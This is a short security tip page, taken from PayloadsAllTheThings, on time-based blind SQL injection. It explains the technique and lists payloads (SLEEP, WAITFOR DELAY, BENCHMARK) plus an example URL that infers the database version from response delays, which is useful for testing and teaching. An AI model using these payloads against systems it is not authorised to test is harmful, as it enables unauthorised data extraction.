SQL Injection: Time Based Injection

SQL injectionExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database.

  • Default SLEEP function for the database

sql
' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --
  • Heavy queries that take a lot of time to complete, usually crypto functions.

sql
BENCHMARK(2000000,MD5(NOW()))

Let's see a basic example to recover the version of the database using a time based sql injection.

sql
http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --

If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.

Comments

No comments yet.